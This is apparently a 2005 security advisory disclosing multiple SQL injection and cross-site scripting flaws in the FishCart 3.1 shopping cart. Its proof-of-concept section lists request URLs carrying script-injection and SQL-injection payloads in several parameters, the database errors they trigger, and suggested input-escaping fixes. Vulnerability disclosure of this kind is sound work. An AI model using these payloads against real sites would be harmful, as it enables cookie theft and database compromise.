Multiple SQL injections and XSS in FishCart 3.1

[dcrab <dcrab () hackerscenter com>]

Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Get Dcrab's Services to audit your Web servers, scripts, networks, etc.
Learn more at http://www.digitalparadox.org/services.ah

***SPECIAL OFFER***
Hire my auditing services, if I dont find anything, its FREE..!!
http://www.digitalparadox.org/services.ah

Looking for Publishers intrested in my Php Secure Coding Book.

Severity: High
Title: Multiple SQL injections and XSS in FishCart 3.1
Date: 4/05/2005

Vendor: FishNet Inc
Vendor Website: http://www.fishnetinc.com
Summary: There are, multiple sql injections and xss in fishcart 3.1.


Proof of Concept Exploits:

http://example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst='";><script>alert(document.cookie)</script>&olimit=0&cat=&key1=&psku=
XSS

http://example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst=y&olimit=0&cat=&key1=&psku='SQL_INJECTION
SQL INJECTION

Database error: Invalid SQL: select count(*) as cnt from
cvsdemo31prod,cvsdemo31prodlang where nzid=1 and nprodsku=prodsku and
prodzid=1 and nprodsku=prodlsku and prodlzid=1 and
prodlid=1prodsku='''SQL_INJECTION' and prodlsku='''SQL_INJECTION' and
prodzid=1 and prodzid=prodlzid and prodlid=1 and (produseinvq=0 or
(produseinvq=1 and prodinvqty>0))
MySQL Error: 1054 (Unknown column 'nzid' in 'where clause')
Session halted.


http://example.com/demo31/upstnt.php?zid=1&lid=1&cartid='SQL_INJECTION
SQL INJECTION

Database error: Invalid SQL: select sku,qty from cvsdemo31oline where
orderid=''SQL_INJECTION'
MySQL Error: 1064 (You have an error in your SQL syntax near
'SQL_INJECTION'' at line 1)
Session halted.

http://example.com/demo31/upstracking.php?trackingnum='";><script>alert(document.cookie)</script>&reqagree=checked&m=
XSS


http://example.com/demo31/upstracking.php?trackingnum=&reqagree='";><script>alert(document.cookie)</script>&m=
XSS

http://example.com/demo31/upstracking.php?trackingnum=&reqagree=checked&m='";><script>alert(document.cookie)</script>
XSS


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(),
mysql_real_escape_string() and other functions for input validation before
passing user input to the mysql database, or before echoing data on the
screen, would solve these problems.

Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author:
These vulnerabilities have been found and released by Diabolic Crab,
Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to
contact me regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or http://digitalparadox.org/.